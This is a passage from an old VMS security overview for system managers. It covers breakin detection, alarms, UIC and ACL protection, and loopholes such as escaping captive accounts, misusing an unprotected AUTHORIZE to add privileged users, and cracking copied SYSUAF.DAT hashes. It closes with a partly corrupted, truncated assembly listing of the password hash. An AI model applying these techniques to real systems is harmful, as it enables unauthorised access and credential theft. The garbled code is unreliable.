invalid Passwords are counted, NOT invalid usernames. And the attempts must
|
||
be coming from one of these three sources:
|
||
|
||
. A specific valid Username, and (if setup this way, A specific
|
||
terminal.
|
||
. A specific remote DECnet node and remote Username.
|
||
. The Username of the creator of a detached process.
|
||
|
||
By default, VMS allows five failed login attempts from any one source
|
||
within the time period specified. But it's not as simple as that!
|
||
|
||
Each time a failure occurs, time is added to the time period in which a
|
||
certain number of failures can occur. To take an example from DEC:
|
||
|
||
Assume the default values are in effect. LGI_BRK_LIM specifies no
|
||
more than five login failures from one source. LGI_BRK_TMO is set
|
||
for five minutes. Assume that an outsider starts sending user
|
||
names and passwords to the system. When the first password fails,
|
||
the clock starts to run and the user has four more tries in the
|
||
next five minutes. When the second attempt fails about 30 seconds
|
||
later, the user has three tries left that will be counted over
|
||
the next 9.5 minutes. When the third attempt fails 30 seconds
|
||
later, the login failure observation time has reached 22.5
|
||
minutes. As a result, the next login failure from that source
|
||
within 22.4 minutes will trigger evasive action. The system
|
||
tolerates an average rate of login failures that is the
|
||
reciprocal of the parameter LGI_BRK_TMO...
|
||
|
||
|
||
When breakin evasion is triggered, the system will give a:
|
||
User Authorization Failure
|
||
message even when a valid Username and Password are entered, giving no
|
||
indication of what it is doing. Note that ONLY the Username(s) in question
|
||
are treated this way: other Usernames can still log in from the same
|
||
terminal even if terminal-specific breakin detection is enabled.
|
||
|
||
The length of time VMS will hide in this way is controlled by the sysgen
|
||
parameter LGI_HID_TIM. But VMS doesn't hide for exactly this time. Rather,
|
||
it will hide for a length of time determined by the following equation:
|
||
|
||
Evasion time = LGI_HID_TIM * (random number between 1 and 1.5)
|
||
|
||
The parameter LGI_BRK_DISUSER can be set, and will tell VMS to permanently
|
||
disable accounts rather than just hiding for a time. The system manager
|
||
then has to re-enable them manually. This is a dangerous parameter to set,
|
||
however, because malicious individuals could deliberately disable accounts
|
||
then! If the SYSTEM account is disabled this way, it will only be allowed
|
||
to login on the VAX system console.
|
||
|
||
|
||
Security Alarms:
|
||
----------------
|
||
Although breakin attempts to different Usernames don't activate VMS Breakin
|
||
detection, they can trigger Security Alarms. Security Alarms can also be
|
||
triggered by different types of access to specific files or memory areas.
|
||
Security Alarms cause messages to be displayed on the system console, on
|
||
the terminals of any user enabled as Security Operator, and in the Operator
|
||
Log file.
|
||
|
||
As DEC says,
|
||
Because security auditing affects system performance, enable
|
||
security alarms only for the most important events.
|
||
Damn right! If all security alarms are enabled the system will hang! It
|
||
starts writing alarms about the fact it is writing alarms, ad infinitum....
|
||
|
||
Security alarms can be triggered on multiple login failures, on breakin, on
|
||
successful login from given ports, on failed attempts to access files, on
|
||
successful attempts to access files, etc. So even if you get privilege to
|
||
override protection or to defeat it a security alarm may still be
|
||
triggered.
|
||
|
||
Security alarms typically might be enabled on the AUTHORIZE program, which
|
||
adds and modifies user accounts, on SYSUAF.DAT, the authorization database,
|
||
on RIGHTSLIST.DAT, the access rights database, etc. and on critical
|
||
database files. But many sites don't bother with them because of their
|
||
inconvenience.
|
||
|
||
Accounting:
|
||
----------
|
||
Besides Security Alarms, Accounting can be enabled. Accounting can show
|
||
successful logins, login failures, how much resources are consumed by
|
||
processes, what programs are executed, etc. Not all sites enable
|
||
accounting, and not all sites enable the same amount of it. Accounting
|
||
records show login failures but only show the username that attempted to
|
||
login if it is a valid username.
|
||
|
||
|
||
|
||
File and Device Protection:
|
||
==========================
|
||
|
||
UIC:
|
||
----
|
||
The primary access protection mechanism is the UIC. This consists of a
|
||
Group and a User code, numerically represented as [nnn,nnn]. It is an Octal
|
||
number. Since VMS 4.x versions the UIC can also be expressed as [name] or
|
||
[name,name], but internally this is translated back to the old format.
|
||
|
||
Users, processes, files, devices, memory sections, etc. all have UICs.
|
||
Files, devices, memory sections, etc. can have access by System, Owner,
|
||
Group and World, any combination of Read, Write, Execute, Delete for each
|
||
category.
|
||
System are the system accounts.
|
||
Owner is the account(s) who's UIC is the same as that on the
|
||
object (file, device, etc.).
|
||
Group are accounts with the same first UIC number.
|
||
World is everyone.
|
||
|
||
So a process with UIC [23,7] could access an object with UIC [23,4] if that
|
||
object allowed access by Group or World. The process could access an object
|
||
with UIC [25,3] only if World access was allowed, and could access objects
|
||
with UIC [23,7] if Owner, Group, or World was allowed.
|
||
|
||
ACL:
|
||
----
|
||
Also, there's a protection mechanism called the ACL or Access Control List.
|
||
This is in addition to, and can override UIC protection. With ACLs an
|
||
Identifier is created, like MODEM for one or more modem ports. An ACL is
|
||
created on the port(s) desired, and in the ACL are multiple Access Control
|
||
Entries (ACEs). If one of them is:
|
||
(Identifier=MODEM, Access=Read+Write)
|
||
for example, user who has been Granted the identifier MODEM can access
|
||
those ports. These access privileges, like UICs apply to processes in
|
||
general. Granting and managing Identifiers is done in the AUTHORIZE
|
||
program.
|
||
|
||
|
||
|
||
Loopholes, Ways of Defeating Security...
|
||
========================================
|
||
|
||
Although VMS has great security it's often applied poorly. For one thing,
|
||
protection is often not set up properly, programs are installed with too
|
||
much privilege etc. (Programs can be installed so they have privilege when
|
||
run even if the user running them has no privilege).
|
||
|
||
Getting a $ prompt:
|
||
-------------------
|
||
If a hacker logs into a VMS system and finds himself trapped within
|
||
application programs the first thing he will want to do is to get out to
|
||
the normal DCL command mode from where more things can be done.
|
||
|
||
Hackers will try several things and you should check to make sure they
|
||
can't try these tricks on your system.
|
||
|
||
AllInOne:
|
||
|
||
In AllInOne, DEC's popular Electronic Mail and menuing Office Automation
|
||
system, typing
|
||
$
|
||
(the dollar sign) will by default take the user to DCL level.
|
||
Typing
|
||
ADMIN
|
||
will get the user into the AllInOne administrator menu. From there they can
|
||
create accounts with $ access.
|
||
|
||
AllInOne mail also has a feature where macros can be attached to mail and
|
||
executed when the mail is read. If the hacker sends a message of this type
|
||
to some user with privilege, the macro can go off in the background and
|
||
create accounts, etc. for the hacker. This feature should be disabled.
|
||
|
||
|
||
Other Captive Account tricks:
|
||
|
||
Holding down <Ctrl-Y> and letting it repeat for a while will often cause
|
||
accounts that are trapped in a command procedure but not marked as CAPTIVE
|
||
in the UAF to exit from the command procedure to DCL.
|
||
|
||
If an account has access to VAXMAIL (the MAIL command) it can often use
|
||
MAIL's SPAWN command to spawn a process with DCL access.
|
||
|
||
The TPU editor has a similar SPAWN command.
|
||
|
||
If an account is not marked CAPTIVE the user can try to add /NOCOMMAND
|
||
after the username, like the following:
|
||
|
||
Username: fred/nocommand
|
||
|
||
This will cause the command procedure to not be executed, leaving the
|
||
hacker at a DCL $ prompt.
|
||
|
||
There are many more too.
|
||
|
||
For this reason you should mark all accounts that are supposed to be
|
||
captive as CAPTIVE using the AUTHORIZE utility.
|
||
|
||
|
||
When at the $ Prompt:
|
||
---------------------
|
||
Since protection is often set incorrectly, hackers can take advantage and
|
||
use this to bypass security. A couple of examples will serve to show that
|
||
you must be diligent in setting the protections properly on systems you
|
||
manage.
|
||
|
||
If SYS$SYSTEM:AUTHORIZE.EXE is not protected, it can be run by non-
|
||
privileged users. The hacker would then run AUTHORIZE and create a new
|
||
SYSUAF.DAT file in his own directory (AUTHORIZE will do this by default if
|
||
not run in the SYS$SYSTEM directory). The hacker would add a privileged
|
||
username to the new SYSUAF.DAT, copy it back to SYS$SYSTEM:, log out, log
|
||
in again as the new privileged user, and quickly delete the new SYSUAF.DAT
|
||
so that other users don't get "Authorization Failure" messages. The hacker
|
||
would then be able to add privileged accounts to SYSUAF.DAT at his leisure.
|
||
|
||
Another clever idea would be for the hacker who has gained access to copy
|
||
SYSUAF.DAT to another directory and then try to find out what passwords are
|
||
in it. VMS uses a one-way encryption algorithm, but a gifted hacker will
|
||
use the same algorithm to repeatedly encrypt different passwords until he
|
||
finds ones that match. A copy of the VMS assembly language code to do this
|
||
encryption can be found in the appendix, for your information.
|
||
|
||
Again, setting the protection properly will keep this from happening to
|
||
your system!
|
||
|
||
|
||
Conclusion:
|
||
===========
|
||
|
||
This has been a brief overview of VMS security. For more information, read
|
||
your DEC manuals. A good place to start is the handy VMS System Manager's
|
||
Manual, Order Number AA-LA00A-TE, which can be obtained from DEC Direct and
|
||
should have come with your VMS update.
|
||
|
||
The importance of proper security cannot be over emphasized, but if you
|
||
overdo it performance will suffer. Experiment on your system to find a good
|
||
balance. Don't ignore security or you may regret it rather intensely.
|
||
|
||
Appendix -- VMS assembly code for encrypting passwords:
|
||
=======================================================
|
||
|
||
.TITLE HPWD - hash user password
|
||
.IDENT 'V02-002'
|
||
; Hash PassWorD:
|
||
; Hash a password irreversibly. This is one way encryption with
|
||
; no decryption possible.
|
||
|
||
; This code was obtained by disassembling the AUTHORIZE program.
|
||
; See the VMS microfiche for the fully commented code:
|
||
; e _lib$code:_lib$code+68
|
||
|
||
; Input Parameters:
|
||
; PWDDSC - Address of password descriptor
|
||
; ENCRYPT - Encryption algorithm index (byte)
|
||
; SALT - Random number (word)
|
||
; USRDSC - Address of username descriptor
|
||
|
||
; Output Parameters:
|
||
; OUTDSC - Address of encrypted output descriptor
|
||
|
||
OUTDSC=4
|
||
PWDDSC=OUTDSC+4
|
||
ENCRYPT=PWDDSC+4
|
||
SALT=ENCRYPT+4
|
||
USRDSC=SALT+4
|
||
|
||
.PSECT _LIB$CODE RD,NOWRT,PIC,SHR,BYTE,EXE
|
||
|
||
; AUTODIN-II polynomial table used by CRC algorithm
|
||
AUTODIN:
|
||
.LONG ^X000000000,^X01DB71064,^X03B6E20C8,^X026D930AC,^X076DC4190
|
||
.LONG ^X06B6B51F4,^X04DB26158,^X05005713C,^X0EDB88320,^X0F00F9344
|
||
.LONG ^X0D6D6A3E8,^X0CB61B38C,^X09B64C2B0,^X086D3D2D4,^X0A00AE278
|
||
.LONG ^X0BDBDF21C
|
||
|
||
; Purdy polynomial co ffici`nts. Prime, but don't need to be
|
||
Purdy_Poly:
|
||
c:
|
||
.LONG -83,-1
|
||
.LONG -179,-1
|
||
.LONG -257,-1
|
||
.LONG -323,-1
|
||
.LONG -363,-1
|
||
|
||
.ENTRY LGI$HPWD,^M<R2,R3,R4>
|
||
MOVAQ @outdsc(AP),R4
|
||
MOVAQ @4(R4),R4
|
||
TSTB encrypt(AP)
|
||
BGTRU 10$
|
||
MNEGL #1,R0
|
||
MOVAQ @pwddsc(AP),R1
|
||
CRC autodin,R0,(R1),@4(R1)
|
||
CLRL R1
|
||
MOVQ R0,(R4)
|
||
BRB 20$
|
||
|
||
10$: CLRQ (R4)
|
||
MOVAQ @pwddsc(AP),R3
|
||
BSBB COLLAPSE_R2
|
||
ADDW2 salt(AP),3(R4)
|
||
MOVAQ @usrdsc(AP),R3
|
||
BSBB COLLAPSE_R2
|
||
PUSHAQ (R4)
|
||
CALLS #1,PURDY
|
||
|
||
20$: MOVL #1,R0
|
||
RET
|
||
|
||
|
||
COLLAPSE_R2:
|
||
MOVZWL (R3),R0
|
||
BEQL 20$
|
||
MOVAL @4(R3),R2
|
||
PUSHR #^M<R1,R2>
|
||
MOVL R0,R1
|
||
5$: CMPB (R2)+,#32
|
||
BNEQ 7$
|
||
DECL R1
|
||
7$: SOBGTR R0,5$
|
||
MOVL R1,R0
|
||
POPR #^M<R1,R2>
|
||
10$: BICL3 #-8,R0,R1
|
||
ADDB2 (R2)+,(R4)[R1]
|
||
SOBGTR R0,10$
|
||
20$: RSB
|
||
|
||
a=59
|
||
n0=1@24-3
|
||
n1=1@24-63
|
||
|
||
|
||
.ENTRY PURDY,^M<r2,r3,r4,r5>
|
||
MOVQ @4(AP),-(SP)
|
||
BSBW PQMOD_R0
|
||
MOVAQ (SP),R4
|
||
MOVAQ PURDY_POLY,R5
|
||
MOVQ (R4),-(SP)
|
||
PUSHL #n1
|
||
BSBB PQEXP_R3
|
||
MOVQ (R4),-(SP)
|
||
PUSHL #n0-n1
|
||
BSBB PQEXP_R3
|
||
MOVQ (R5)+,-(SP)
|
||
BSBW PQADD_R0
|
||
BSBW PQMUL_R2
|
||
MOVQ (R5)+,-(SP)
|
||
MOVQ (R4),-(SP)
|
||
BSBW PQMUL_R2
|
||
MOVQ (R5)+,-(SP)
|
||
BSBW PQADD_R0
|
||
MOVQ (R4),-(SP)
|
||
BSBB PQMUL_R2
|
||
MOVQ (R5)+,-(SP)
|
||
BSBW PQADD_R0
|
||
MOVQ (R4),-(SP)
|
||
BSBB PQMUL_R2
|
||
MOVQ (R5)+,-(SP)
|
||
BSBW PQADD_R0
|
||
BSBW PQADD_R0
|
||
MOVQ (SP)+,@4(AP)
|
||
MOVL #1,R0
|
||
RET
|
||
|
||
PQEXP_R3:
|
||
POPR #^M<r3>
|
||
MOVQ #1,-(SP)
|
||
MOVQ 8+4(SP),-(SP)
|
||
TSTL 8+8(SP)
|
||
BEQL 30$
|
||
10$: BLBC 8+8(SP),20$
|
||
MOVQ (SP),-(SP)
|
||
MOVQ 8+8(SP),-(SP)
|
||
BSBB PQMUL_R2
|
||
MOVQ (SP)+,8(SP)
|
||
CMPZV #1,#31$8+8(S |